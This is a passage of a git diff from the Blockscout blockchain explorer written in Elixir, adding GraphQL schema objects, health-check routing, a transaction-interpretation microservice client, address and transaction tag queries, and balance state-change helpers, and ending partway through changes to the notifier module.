@desc """ + Models internal transactions. + """ + node object(:internal_transaction, id_fetcher: &internal_transaction_id_fetcher/2) do + field(:call_type, :call_type) + field(:created_contract_code, :data) + field(:error, :string) + field(:gas, :decimal) + field(:gas_used, :decimal) + field(:index, :integer) + field(:init, :data) + field(:input, :data) + field(:output, :data) + field(:trace_address, :json) + field(:type, :type) + field(:value, :wei) + field(:created_contract_address_hash, :address_hash) + field(:from_address_hash, :address_hash) + field(:to_address_hash, :address_hash) + field(:transaction_hash, :full_hash) + field(:block_number, :integer) + field(:transaction_index, :integer) + field(:block_hash, :full_hash) + field(:block_index, :integer) + end + + @desc """ + The representation of a verified Smart Contract. + + "A contract in the sense of Solidity is a collection of code (its functions) + and data (its state) that resides at a specific address on the Ethereum + blockchain." + http://solidity.readthedocs.io/en/v0.4.24/introduction-to-smart-contracts.html + """ + SmartContractsSchema.generate() + + @desc """ + Represents a token transfer between addresses. + """ + node object(:token_transfer, id_fetcher: &token_transfer_id_fetcher/2) do + field(:amount, :decimal) + field(:amounts, list_of(:decimal)) + field(:block_number, :integer) + field(:log_index, :integer) + field(:token_ids, list_of(:decimal)) + field(:from_address_hash, :address_hash) + field(:to_address_hash, :address_hash) + field(:token_contract_address_hash, :address_hash) + field(:transaction_hash, :full_hash) + + field :transaction, :transaction do + resolve(&Transaction.get_by/3) + end + + field :token, :token do + resolve(&Token.get_by/3) + end + end + + @desc """ + Represents a token. + """ + object :token do + field(:name, :string) + field(:symbol, :string) + field(:total_supply, :decimal) + field(:decimals, :decimal) + field(:type, :string) + field(:holder_count, :integer) + field(:circulating_market_cap, :decimal) + field(:icon_url, :string) + field(:volume_24h, :decimal) + field(:contract_address_hash, :address_hash) + end + + @desc """ + Models a Web3 transaction. + """ + TransactionSchema.generate() + + def token_transfer_id_fetcher(%{transaction_hash: transaction_hash, log_index: log_index}, _) do + Jason.encode!(%{transaction_hash: to_string(transaction_hash), log_index: log_index}) + end + + def transaction_id_fetcher(%{hash: hash}, _), do: to_string(hash) + + def internal_transaction_id_fetcher(%{transaction_hash: transaction_hash, index: index}, _) do + Jason.encode!(%{transaction_hash: to_string(transaction_hash), index: index}) + end + + defp process_complexity(params, child_complexity) do + case params do + %{first: first} -> + first * child_complexity + + %{last: last} -> + last * child_complexity + + %{} -> + 0 + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/graphql/schema_controller.ex b/apps/block_scout_web/lib/block_scout_web/graphql/schema_controller.ex new file mode 100644 index 000000000000..02701360818b --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/graphql/schema_controller.ex @@ -0,0 +1,20 @@ +defmodule BlockScoutWeb.GraphQL.SchemaController do + @moduledoc """ + Controller for serving the GraphQL schema in SDL format. + """ + + use BlockScoutWeb, :controller + + @graphql_schema BlockScoutWeb.GraphQL.Schema + |> Absinthe.Schema.to_sdl() + + @doc """ + The GraphQL schema in SDL format, pre-built at compile time to avoid runtime + overhead. + """ + def index(conn, _params) do + conn + |> put_resp_content_type("text/plain") + |> send_resp(200, @graphql_schema) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/health_endpoint.ex b/apps/block_scout_web/lib/block_scout_web/health_endpoint.ex new file mode 100644 index 000000000000..d821ad689c85 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/health_endpoint.ex @@ -0,0 +1,17 @@ +defmodule BlockScoutWeb.HealthEndpoint do + @moduledoc """ + Health endpoint for health checks in case of indexer-only/standalone_media_worker setup + """ + use Phoenix.Endpoint, otp_app: :block_scout_web + + plug(BlockScoutWeb.HealthRouter) + + def init(_key, config) do + if config[:load_from_system_env] do + port = System.get_env("PORT") || raise "expected the PORT environment variable to be set" + {:ok, Keyword.put(config, :http, [:inet6, port: port])} + else + {:ok, config} + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/health_router.ex b/apps/block_scout_web/lib/block_scout_web/health_router.ex new file mode 100644 index 000000000000..9450539ca43c --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/health_router.ex @@ -0,0 +1,13 @@ +defmodule BlockScoutWeb.HealthRouter do + @moduledoc """ + Router for health checks in case of indexer-only setup + """ + + use BlockScoutWeb, :router + + scope "/api/health" do + get("/", BlockScoutWeb.API.HealthController, :health) + get("/liveness", BlockScoutWeb.API.HealthController, :liveness) + get("/readiness", BlockScoutWeb.API.HealthController, :readiness) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/microservice_interfaces/transaction_interpretation.ex b/apps/block_scout_web/lib/block_scout_web/microservice_interfaces/transaction_interpretation.ex new file mode 100644 index 000000000000..1acc2fe60dac --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/microservice_interfaces/transaction_interpretation.ex @@ -0,0 +1,439 @@ +defmodule BlockScoutWeb.MicroserviceInterfaces.TransactionInterpretation do + @moduledoc """ + Module to interact with Transaction Interpretation Service + """ + + alias BlockScoutWeb.API.V2.{Helper, InternalTransactionView, TokenTransferView, TokenView, TransactionView} + alias Ecto.Association.NotLoaded + alias Explorer.{Chain, HttpClient} + alias Explorer.Helper, as: ExplorerHelper + alias Explorer.Chain.{Data, InternalTransaction, Log, TokenTransfer, Transaction} + + import Explorer.Chain.Address.Reputation, only: [reputation_association: 0] + + import Explorer.Chain.SmartContract.Proxy.Models.Implementation, + only: [proxy_implementations_association: 0, proxy_implementations_smart_contracts_association: 0] + + import Explorer.MicroserviceInterfaces.Metadata, only: [maybe_preload_metadata: 1] + import Explorer.Utility.Microservice, only: [base_url: 2, check_enabled: 2] + require Logger + + @post_timeout :timer.minutes(5) + @request_error_msg "Error while sending request to Transaction Interpretation Service" + @api_true api?: true + @items_limit 50 + @token_options [ + api?: true, + necessity_by_association: %{ + reputation_association() => :optional + } + ] + @internal_transaction_necessity_by_association [ + necessity_by_association: %{ + [created_contract_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => + :optional, + [from_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional, + [to_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional + } + ] + + @doc """ + Interpret transaction or user operation + """ + @spec interpret(Transaction.t() | map(), (Transaction.t() -> any()) | (map() -> any())) :: + {{:error, :disabled | binary()}, integer()} + | {:error, Jason.DecodeError.t()} + | {:ok, any()} + def interpret(transaction_or_map, request_builder \\ &prepare_request_body/1) do + with {:enabled, true} <- {:enabled, enabled?()}, + {:success_transaction, true} <- + {:success_transaction, success_transaction_or_user_op?(transaction_or_map)}, + {:cache, :no_cached_data} <- + {:cache, try_get_cached_value(get_hash(transaction_or_map))} do + url = interpret_url() + + body = request_builder.(transaction_or_map) + + http_post_request(url, body) + else + {:cache, {:ok, _response} = result} -> result + {:success_transaction, false} -> {:ok, nil} + {:enabled, false} -> {{:error, :disabled}, 403} + end + end + + @doc """ + Interpret user operation + """ + @spec interpret_user_operation(map()) :: + {{:error, :disabled | binary()}, integer()} + | {:error, Jason.DecodeError.t()} + | {:ok, any()} + def interpret_user_operation(user_operation) do + interpret(user_operation, &prepare_request_body_from_user_op/1) + end + + @doc """ + Build the request body as for the transaction interpreter POST request. + """ + @spec get_request_body(Transaction.t()) :: map() + def get_request_body(transaction) do + prepare_request_body(transaction) + end + + @doc """ + Build the request body as for the transaction interpreter POST request. + """ + @spec get_user_op_request_body(map()) :: map() + def get_user_op_request_body(user_op) do + prepare_request_body_from_user_op(user_op) + end + + defp http_post_request(url, body) do + headers = [{"Content-Type", "application/json"}] + + case HttpClient.post(url, Jason.encode!(body), headers, recv_timeout: @post_timeout) do + {:ok, %{body: body, status_code: 200}} -> + body |> Jason.decode() |> preload_template_variables() + + error -> + old_truncate = Application.get_env(:logger, :truncate) + Logger.configure(truncate: :infinity) + + Logger.error(fn -> + [ + "Error while sending request to microservice url: #{url}, body: #{inspect(body, limit: :infinity, printable_limit: :infinity)}: ", + inspect(error, limit: :infinity, printable_limit: :infinity) + ] + end) + + Logger.configure(truncate: old_truncate) + {{:error, @request_error_msg}, http_response_code(error)} + end + end + + defp try_get_cached_value(hash) do + with {:ok, %{body: body, status_code: 200}} <- HttpClient.get(cache_url(hash)), + {:ok, json} <- body |> Jason.decode() do + {:ok, json} |> preload_template_variables() + else + _ -> + :no_cached_data + end + end + + defp http_response_code({:ok, %{status_code: status_code}}), do: status_code + defp http_response_code(_), do: 500 + + def enabled?, do: check_enabled(:block_scout_web, __MODULE__) == :ok + + defp interpret_url do + base_url(:block_scout_web, __MODULE__) <> "/transactions/summary" + end + + defp cache_url(hash) do + base_url(:block_scout_web, __MODULE__) <> "/cache/#{hash}" + end + + defp prepare_request_body(transaction) do + transaction = + Chain.select_repo(@api_true).preload(transaction, [ + :block, + to_address: [:scam_badge, :names, :smart_contract], + from_address: [:scam_badge, :names, :smart_contract], + created_contract_address: [:scam_badge, :names, :token, :smart_contract] + ]) + + token_transfers = transaction |> fetch_token_transfers() |> Enum.reverse() + internal_transactions = transaction |> fetch_internal_transactions() |> Enum.reverse() + logs = transaction |> fetch_logs() |> Enum.reverse() + + [transaction_with_meta | other_elements] = + ([transaction | token_transfers] ++ internal_transactions ++ logs) + |> maybe_preload_metadata() + + %{ + logs: logs_with_meta, + token_transfers: token_transfers_with_meta, + internal_transactions: internal_transactions_with_meta + } = + Enum.reduce(other_elements, %{logs: [], token_transfers: [], internal_transactions: []}, fn element, acc -> + case element do + %InternalTransaction{} -> + Map.put(acc, :internal_transactions, [element | acc.internal_transactions]) + + %TokenTransfer{} -> + Map.put(acc, :token_transfers, [element | acc.token_transfers]) + + %Log{} -> + Map.put(acc, :logs, [element | acc.logs]) + end + end) + + skip_sig_provider? = false + decoded_input = Transaction.decoded_input_data(transaction, skip_sig_provider?, @api_true) + + decoded_input_data = decoded_input |> Transaction.format_decoded_input() |> TransactionView.decoded_input() + + %{ + data: %{ + to: + Helper.address_with_info(nil, transaction_with_meta.to_address, transaction_with_meta.to_address_hash, true), + from: + Helper.address_with_info( + nil, + transaction_with_meta.from_address, + transaction_with_meta.from_address_hash, + true + ), + hash: transaction_with_meta.hash, + type: transaction_with_meta.type, + value: transaction_with_meta.value, + method: Transaction.method_name(transaction_with_meta, Transaction.format_decoded_input(decoded_input)), + status: transaction_with_meta.status, + transaction_types: TransactionView.transaction_types(transaction_with_meta), + raw_input: transaction_with_meta.input, + decoded_input: decoded_input_data, + token_transfers: prepare_token_transfers(token_transfers_with_meta, decoded_input), + internal_transactions: prepare_internal_transactions(internal_transactions_with_meta, transaction_with_meta) + }, + logs_data: %{items: prepare_logs(logs_with_meta, transaction_with_meta)}, + chain_id: :block_scout_web |> Application.get_env(:chain_id) |> ExplorerHelper.parse_integer() + } + end + + defp fetch_token_transfers(transaction) do + full_options = + [ + necessity_by_association: %{ + [from_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional, + [to_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional, + [token: reputation_association()] => :optional + } + ] + |> Keyword.merge(@api_true) + + transaction.hash + |> Chain.transaction_to_token_transfers(full_options) + |> Chain.flat_1155_batch_token_transfers() + |> Enum.take(@items_limit) + end + + defp prepare_token_transfers(token_transfers, decoded_input) do + token_transfers + |> Enum.map(&TokenTransferView.prepare_token_transfer(&1, nil, decoded_input)) + end + + defp fetch_internal_transactions(transaction) do + full_options = + @internal_transaction_necessity_by_association + |> Keyword.merge(@api_true) + + transaction.hash + |> InternalTransaction.transaction_to_internal_transactions(full_options) + |> Enum.take(@items_limit) + end + + defp prepare_internal_transactions(internal_transactions, transaction) do + internal_transactions + |> Enum.map(&InternalTransactionView.prepare_internal_transaction(&1, transaction.block)) + end + + defp fetch_logs(transaction) do + full_options = + [ + necessity_by_association: %{ + [address: [:names, :smart_contract, proxy_implementations_smart_contracts_association()]] => :optional + } + ] + |> Keyword.merge(@api_true) + + transaction.hash + |> Chain.transaction_to_logs(full_options) + |> Enum.take(@items_limit) + end + + defp prepare_logs(logs, transaction) do + decoded_logs = TransactionView.decode_logs(logs, false) + + logs + |> Enum.zip(decoded_logs) + |> Enum.map(fn {log, decoded_log} -> TransactionView.prepare_log(log, transaction.hash, decoded_log, true) end) + end + + defp user_op_to_logs_and_token_transfers(user_op, decoded_input) do + log_options = + [ + necessity_by_association: %{ + [address: [:names, :smart_contract, proxy_implementations_smart_contracts_association()]] => :optional + }, + limit: @items_limit + ] + |> Keyword.merge(@api_true) + + logs = Log.user_op_to_logs(user_op, log_options) + + decoded_logs = TransactionView.decode_logs(logs, false) + + prepared_logs = + logs + |> Enum.zip(decoded_logs) + |> Enum.map(fn {log, decoded_log} -> + TransactionView.prepare_log(log, user_op["transaction_hash"], decoded_log, true) + end) + + token_transfer_options = + [ + necessity_by_association: %{ + [from_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional, + [to_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional, + [token: reputation_association()] => :optional + } + ] + |> Keyword.merge(@api_true) + + prepared_token_transfers = + logs + |> TokenTransfer.logs_to_token_transfers(token_transfer_options) + |> Chain.flat_1155_batch_token_transfers() + |> Enum.take(@items_limit) + |> Enum.map(&TokenTransferView.prepare_token_transfer(&1, nil, decoded_input)) + + {prepared_logs, prepared_token_transfers} + end + + defp preload_template_variables({:ok, %{"success" => true, "data" => %{"summaries" => summaries} = data}}) do + summaries_updated = + Enum.map(summaries, fn %{"summary_template_variables" => summary_template_variables} = summary -> + summary_template_variables_preloaded = + Enum.reduce(summary_template_variables, %{}, fn {key, value}, acc -> + Map.put(acc, key, preload_template_variable(value)) + end) + + Map.put(summary, "summary_template_variables", summary_template_variables_preloaded) + end) + + {:ok, %{"success" => true, "data" => Map.put(data, "summaries", summaries_updated)}} + end + + defp preload_template_variables(error), do: error + + # TODO: remove this once we have updated the transaction interpretation service + defp preload_template_variable(%{"type" => "token", "value" => %{"address" => address_hash_string} = value}), + do: %{ + "type" => "token", + "value" => + address_hash_string |> Chain.token_from_address_hash(@token_options) |> token_from_db() |> Map.merge(value) + } + + defp preload_template_variable(%{"type" => "token", "value" => %{"address_hash" => address_hash_string} = value}), + do: %{ + "type" => "token", + "value" => + address_hash_string |> Chain.token_from_address_hash(@token_options) |> token_from_db() |> Map.merge(value) + } + + defp preload_template_variable(%{"type" => "address", "value" => %{"hash" => address_hash_string} = value}), + do: %{ + "type" => "address", + "value" => + address_hash_string + |> Chain.hash_to_address( + necessity_by_association: %{ + :scam_badge => :optional, + :names => :optional, + :smart_contract => :optional, + proxy_implementations_association() => :optional + }, + api?: true + ) + |> address_from_db() + |> Map.merge(value) + } + + defp preload_template_variable(other), do: other + + defp token_from_db({:error, _}), do: %{} + defp token_from_db({:ok, token}), do: TokenView.render("token.json", %{token: token}) + + defp address_from_db({:error, _}), do: %{} + + defp address_from_db({:ok, address}), + do: + Helper.address_with_info( + nil, + address, + address.hash, + true + ) + + defp prepare_request_body_from_user_op(user_op) do + user_op_hash = user_op["hash"] + user_op_call_data = user_op["execute_call_data"] || user_op["call_data"] + user_op_from = user_op["sender"] + user_op_to = user_op["execute_target"] || user_op["sender"] + + {mock_transaction, decoded_input, decoded_input_json} = decode_user_op_calldata(user_op_hash, user_op_call_data) + + {prepared_logs, prepared_token_transfers} = user_op_to_logs_and_token_transfers(user_op, decoded_input) + + {:ok, from_address_hash} = Chain.string_to_address_hash(user_op_from) + + {:ok, to_address_hash} = Chain.string_to_address_hash(user_op_to) + + from_address = Chain.hash_to_address(from_address_hash, []) + + to_address = Chain.hash_to_address(to_address_hash, []) + + %{ + data: %{ + to: Helper.address_with_info(nil, to_address, to_address_hash, true), + from: Helper.address_with_info(nil, from_address, from_address_hash, true), + hash: user_op_hash, + type: 0, + value: "0", + method: Transaction.method_name(mock_transaction, Transaction.format_decoded_input(decoded_input), true), + status: user_op["status"], + actions: [], + transaction_types: [], + raw_input: user_op_call_data, + decoded_input: decoded_input_json, + token_transfers: prepared_token_transfers + }, + logs_data: %{items: prepared_logs}, + chain_id: :block_scout_web |> Application.get_env(:chain_id) |> ExplorerHelper.parse_integer() + } + end + + @doc """ + Decodes user_op["call_data"] and return {mock_transaction, decoded_input, decoded_input_json} + """ + @spec decode_user_op_calldata(binary(), binary() | nil) :: {Transaction.t(), tuple(), map()} | {nil, nil, nil} + def decode_user_op_calldata(_user_op_hash, nil), do: {nil, nil, nil} + + def decode_user_op_calldata(user_op_hash, call_data) do + {:ok, input} = Data.cast(call_data) + + {:ok, op_hash} = Chain.string_to_full_hash(user_op_hash) + + mock_transaction = %Transaction{ + to_address: %NotLoaded{}, + input: input, + hash: op_hash + } + + skip_sig_provider? = false + + decoded_input = Transaction.decoded_input_data(mock_transaction, skip_sig_provider?, @api_true) + + {mock_transaction, decoded_input, + decoded_input |> Transaction.format_decoded_input() |> TransactionView.decoded_input()} + end + + defp get_hash(%{hash: hash}), do: hash + defp get_hash(%{"hash" => hash}), do: hash + + defp success_transaction_or_user_op?(%Transaction{status: :ok}), do: true + defp success_transaction_or_user_op?(%{"hash" => _hash}), do: true + defp success_transaction_or_user_op?(_), do: false +end diff --git a/apps/block_scout_web/lib/block_scout_web/models/get_address_tags.ex b/apps/block_scout_web/lib/block_scout_web/models/get_address_tags.ex new file mode 100644 index 000000000000..468526130e38 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/models/get_address_tags.ex @@ -0,0 +1,80 @@ +defmodule BlockScoutWeb.Models.GetAddressTags do + @moduledoc """ + Get various types of tags associated with the address + """ + + import Ecto.Query, only: [from: 2] + + import Explorer.Chain, only: [select_repo: 1] + + alias Explorer.Account.{TagAddress, WatchlistAddress} + alias Explorer.Repo + alias Explorer.Tags.{AddressTag, AddressToTag} + + def get_address_tags(_, _, opts \\ []) + + def get_address_tags(nil, nil, _), + do: %{common_tags: [], personal_tags: [], watchlist_names: []} + + def get_address_tags(address_hash, current_user, opts) when not is_nil(address_hash) do + %{ + common_tags: get_tags_on_address(address_hash, opts), + personal_tags: get_personal_tags(address_hash, current_user), + watchlist_names: get_watchlist_names_on_address(address_hash, current_user) + } + end + + def get_address_tags(_, _, _), do: %{common_tags: [], personal_tags: [], watchlist_names: []} + + def get_public_tags(address_hash, opts \\ []) when not is_nil(address_hash) do + %{ + common_tags: get_tags_on_address(address_hash, opts) + } + end + + def get_tags_on_address(address_hash, opts \\ []) + + def get_tags_on_address(address_hash, opts) when not is_nil(address_hash) do + query = + from( + tt in AddressTag, + left_join: att in AddressToTag, + on: tt.id == att.tag_id, + where: att.address_hash == ^address_hash, + where: tt.label != ^"validator", + select: %{label: tt.label, display_name: tt.display_name, address_hash: att.address_hash} + ) + + select_repo(opts).all(query) + end + + def get_tags_on_address(_, _), do: [] + + def get_personal_tags(address_hash, %{id: id}) when not is_nil(address_hash) do + query = + from( + ta in TagAddress, + where: ta.address_hash_hash == ^address_hash, + where: ta.identity_id == ^id, + select: %{label: ta.name, display_name: ta.name, address_hash: ta.address_hash} + ) + + Repo.account_repo().all(query) + end + + def get_personal_tags(_, _), do: [] + + def get_watchlist_names_on_address(address_hash, %{watchlist_id: watchlist_id}) when not is_nil(address_hash) do + query = + from( + wa in WatchlistAddress, + where: wa.address_hash_hash == ^address_hash, + where: wa.watchlist_id == ^watchlist_id, + select: %{label: wa.name, display_name: wa.name} + ) + + Repo.account_repo().all(query) + end + + def get_watchlist_names_on_address(_, _), do: [] +end diff --git a/apps/block_scout_web/lib/block_scout_web/models/get_transaction_tags.ex b/apps/block_scout_web/lib/block_scout_web/models/get_transaction_tags.ex new file mode 100644 index 000000000000..1aeed2d04391 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/models/get_transaction_tags.ex @@ -0,0 +1,50 @@ +defmodule BlockScoutWeb.Models.GetTransactionTags do + @moduledoc """ + Get various types of tags associated with the transaction + """ + + import BlockScoutWeb.Models.GetAddressTags, only: [get_address_tags: 2, get_tags_on_address: 1] + + alias Explorer.Account.TagTransaction + alias Explorer.Chain.Transaction + + def get_transaction_with_addresses_tags( + %Transaction{} = transaction, + %{id: identity_id, watchlist_id: watchlist_id} + ) do + transaction_tag = get_transaction_tags(transaction.hash, %{id: identity_id}) + addresses_tags = get_addresses_tags_for_transaction(transaction, %{id: identity_id, watchlist_id: watchlist_id}) + Map.put(addresses_tags, :personal_transaction_tag, transaction_tag) + end + + def get_transaction_with_addresses_tags(%Transaction{} = transaction, _), + do: %{ + common_tags: get_tags_on_address(transaction.to_address_hash), + personal_tags: [], + watchlist_names: [], + personal_transaction_tag: nil + } + + def get_transaction_tags(transaction_hash, %{id: identity_id}) do + case TagTransaction.get_tag_transaction_by_transaction_hash_and_identity_id(transaction_hash, identity_id) do + [tag | _] -> tag + _ -> nil + end + end + + def get_transaction_tags(_, _), do: nil + + def get_addresses_tags_for_transaction( + %Transaction{} = transaction, + %{id: identity_id, watchlist_id: watchlist_id} + ) do + from_tags = get_address_tags(transaction.from_address_hash, %{id: identity_id, watchlist_id: watchlist_id}) + to_tags = get_address_tags(transaction.to_address_hash, %{id: identity_id, watchlist_id: watchlist_id}) + + %{ + common_tags: get_tags_on_address(transaction.to_address_hash), + personal_tags: Enum.dedup(from_tags.personal_tags ++ to_tags.personal_tags), + watchlist_names: Enum.dedup(from_tags.watchlist_names ++ to_tags.watchlist_names) + } + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/models/transaction_state_helper.ex b/apps/block_scout_web/lib/block_scout_web/models/transaction_state_helper.ex new file mode 100644 index 000000000000..f774c3ef0c48 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/models/transaction_state_helper.ex @@ -0,0 +1,223 @@ +defmodule BlockScoutWeb.Models.TransactionStateHelper do + @moduledoc """ + Transaction state changes related functions + """ + + import Explorer.Chain.Address.Reputation, only: [reputation_association: 0] + import Explorer.PagingOptions, only: [default_paging_options: 0] + import Explorer.Chain.SmartContract, only: [burn_address_hash_string: 0] + import Explorer.Chain.SmartContract.Proxy.Models.Implementation, only: [proxy_implementations_association: 0] + + alias Explorer.Chain.Transaction.StateChange + alias Explorer.{Chain, PagingOptions, Repo} + alias Explorer.Chain.{Address.CoinBalance, BlockNumberHelper, InternalTransaction, Transaction, Wei} + alias Explorer.Chain.Cache.StateChanges + alias Indexer.Fetcher.OnDemand.CoinBalance, as: CoinBalanceOnDemand + alias Indexer.Fetcher.OnDemand.TokenBalance, as: TokenBalanceOnDemand + + {:ok, burn_address_hash} = Chain.string_to_address_hash(burn_address_hash_string()) + @burn_address_hash burn_address_hash + + @doc """ + This function takes transaction, fetches all the transactions before this one from the same block + together with internal transactions and token transfers and calculates native coin and token + balances before and after this transaction. + """ + @spec state_changes(Transaction.t(), [Chain.paging_options() | Chain.api?()]) :: [StateChange.t()] + def state_changes(transaction, options \\ []) + + def state_changes(%Transaction{} = transaction, options) do + paging_options = Keyword.get(options, :paging_options, default_paging_options()) + {offset} = paging_options.key || {0} + + offset + |> Kernel.==(0) + |> if do + get_and_cache_state_changes(transaction, options) + else + case StateChanges.get(transaction.hash) do + %StateChanges{state_changes: state_changes} -> state_changes + _ -> get_and_cache_state_changes(transaction, options) + end + end + |> Enum.drop(offset) + end + + def state_changes(_transaction, _options), do: [] + + defp get_and_cache_state_changes(transaction, options) do + state_changes = do_state_changes(transaction, options) + + StateChanges.update(%StateChanges{ + transaction_hash: transaction.hash, + state_changes: state_changes + }) + + state_changes + end + + defp do_state_changes(%Transaction{} = transaction, options) do + block_transactions = + transaction.block_hash + |> Chain.block_to_transactions( + paging_options: %PagingOptions{key: nil, page_size: nil}, + api?: Keyword.get(options, :api?, false) + ) + |> Enum.filter(&(&1.index <= transaction.index)) + |> Repo.preload([:token_transfers, :internal_transactions]) + + transaction = + block_transactions + |> Enum.find(&(&1.hash == transaction.hash)) + |> Repo.preload( + token_transfers: [ + token: reputation_association(), + from_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()], + to_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()] + ], + internal_transactions: [ + from_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()], + to_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()] + ], + block: [miner: [:names, :smart_contract, proxy_implementations_association()]], + from_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()], + to_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()] + ) + + previous_block_number = BlockNumberHelper.previous_block_number(transaction.block_number) + + coin_balances_before_block = transaction_to_coin_balances(transaction, previous_block_number, options) + + coin_balances_before_transaction = + StateChange.coin_balances_before(transaction, block_transactions, coin_balances_before_block) + + native_coin_entries = StateChange.native_coin_entries(transaction, coin_balances_before_transaction) + + token_balances_before = + transaction.token_transfers + |> Enum.reduce(%{}, &token_transfers_to_balances_reducer(&1, &2, previous_block_number, options)) + |> StateChange.token_balances_before(transaction, block_transactions) + + tokens_entries = StateChange.token_entries(transaction.token_transfers, token_balances_before) + + native_coin_entries ++ tokens_entries + end + + defp transaction_to_coin_balances(transaction, previous_block_number, options) do + Enum.reduce( + transaction.internal_transactions, + %{ + transaction.from_address_hash => + {transaction.from_address, coin_balance(transaction.from_address_hash, previous_block_number, options)}, + transaction.to_address_hash => + {transaction.to_address, coin_balance(transaction.to_address_hash, previous_block_number, options)}, + transaction.block.miner_hash => + {transaction.block.miner, coin_balance(transaction.block.miner_hash, previous_block_number, options)} + }, + &internal_transaction_to_coin_balances(&1, previous_block_number, options, &2) + ) + end + + defp internal_transaction_to_coin_balances(%InternalTransaction{call_type: :delegatecall}, _, _, acc), do: acc + + defp internal_transaction_to_coin_balances(internal_transaction, previous_block_number, options, acc) do + if internal_transaction.value |> Wei.to(:wei) |> Decimal.positive?() do + acc + |> Map.put_new_lazy(internal_transaction.from_address_hash, fn -> + {internal_transaction.from_address, + coin_balance(internal_transaction.from_address_hash, previous_block_number, options)} + end) + |> Map.put_new_lazy(internal_transaction.to_address_hash, fn -> + {internal_transaction.to_address, + coin_balance(internal_transaction.to_address_hash, previous_block_number, options)} + end) + else + acc + end + end + + defp coin_balance(address_hash, _block_number, _options) when is_nil(address_hash) do + %Wei{value: Decimal.new(0)} + end + + defp coin_balance(address_hash, block_number, options) do + case CoinBalance.get_coin_balance(address_hash, block_number, options) do + %{value: val} when not is_nil(val) -> + val + + _ -> + CoinBalanceOnDemand.trigger_historic_fetch(options[:ip], address_hash, block_number) + %Wei{value: Decimal.new(0)} + end + end + + defp token_balances(address_hash, token_transfer, block_number, options) do + token = token_transfer.token + + token_ids = + if token.type == "ERC-1155" do + token_transfer.token_ids + else + [nil] + end + + Enum.into(token_ids, %{transfers: []}, &{&1, token_balance(address_hash, block_number, token, &1, options)}) + end + + defp token_balance(@burn_address_hash, _block_number, _token, _token_id, _options) do + Decimal.new(0) + end + + defp token_balance(address_hash, block_number, token, token_id, options) do + case Chain.get_token_balance(address_hash, token.contract_address_hash, block_number, token_id, options) do + %{value: val} when not is_nil(val) -> + val + + _ -> + TokenBalanceOnDemand.trigger_historic_fetch( + options[:ip], + address_hash, + token.contract_address_hash, + token.type, + token_id, + block_number + ) + + Decimal.new(0) + end + end + + defp token_transfers_to_balances_reducer(transfer, balances, prev_block, options) do + from = transfer.from_address + to = transfer.to_address + token_hash = transfer.token_contract_address_hash + + balances + |> case do + # from address already in the map + %{^from => %{^token_hash => _}} = balances -> + balances + + # we need to add from address into the map + balances -> + put_in( + balances, + Enum.map([from, token_hash], &Access.key(&1, %{})), + token_balances(from.hash, transfer, prev_block, options) + ) + end + |> case do + # to address already in the map + %{^to => %{^token_hash => _}} = balances -> + balances + + # we need to add to address into the map + balances -> + put_in( + balances, + Enum.map([to, token_hash], &Access.key(&1, %{})), + token_balances(to.hash, transfer, prev_block, options) + ) + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/notifier.ex b/apps/block_scout_web/lib/block_scout_web/notifier.ex index 286d9114536f..ab812e4f28c5 100644 --- a/apps/block_scout_web/lib/block_scout_web/notifier.ex +++ b/apps/block_scout_web/lib/block_scout_web/notifier.ex @@ -2,9 +2,22 @@ defmodule BlockScoutWeb.Notifier do @moduledoc """ Responds to events by sending appropriate channel updates to front-end. """ + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + require Logger alias Absinthe.Subscription + alias BlockScoutWeb.API.V2, as: API_V2 + + alias BlockScoutWeb.API.V2.{ + AddressView, + BlockView, + PolygonZkevmView, + SmartContractView, + TransactionView + } + alias BlockScoutWeb.{ AddressContractVerificationViaFlattenedCodeView, AddressContractVerificationViaJsonView, @@ -15,18 +28,72 @@ defmodule BlockScoutWeb.Notifier do } alias Explorer.{Chain, Market, Repo} - alias Explorer.Chain.{Address, InternalTransaction, TokenTransfer, Transaction} + + alias Explorer.Chain.{ + Address, + Address.CoinBalance, + Address.Reputation, + BlockNumberHelper, + DenormalizationHelper, + InternalTransaction, + Token.Instance, + Transaction + } + + alias Explorer.Chain.Cache.Counters.{AddressesCount, AverageBlockTime, Helper} alias Explorer.Chain.Supply.RSK alias Explorer.Chain.Transaction.History.TransactionStats - alias Explorer.Counters.{AverageBlockTime, Helper} - alias Explorer.ExchangeRates.Token alias Explorer.SmartContract.{CompilerVersion, Solidity.CodeCompiler} alias Phoenix.View + alias Timex.Duration + + import Explorer.Chain.SmartContract.Proxy.Models.Implementation, only: [proxy_implementations_association: 0] @check_broadcast_sequence_period 500 + @api_true [api?: true] + + case @chain_type do + :arbitrum -> + @chain_type_specific_events ~w(new_arbitrum_batches new_messages_to_arbitrum_amount)a + + :optimism -> + @chain_type_specific_events ~w(new_optimism_batches new_optimism_deposits)a + + _ -> + nil + end + + case @chain_type do + :celo -> + @chain_type_transaction_associations [ + gas_token: Reputation.reputation_association() + ] + + _ -> + @chain_type_transaction_associations [] + end + + @transaction_associations [ + from_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()], + 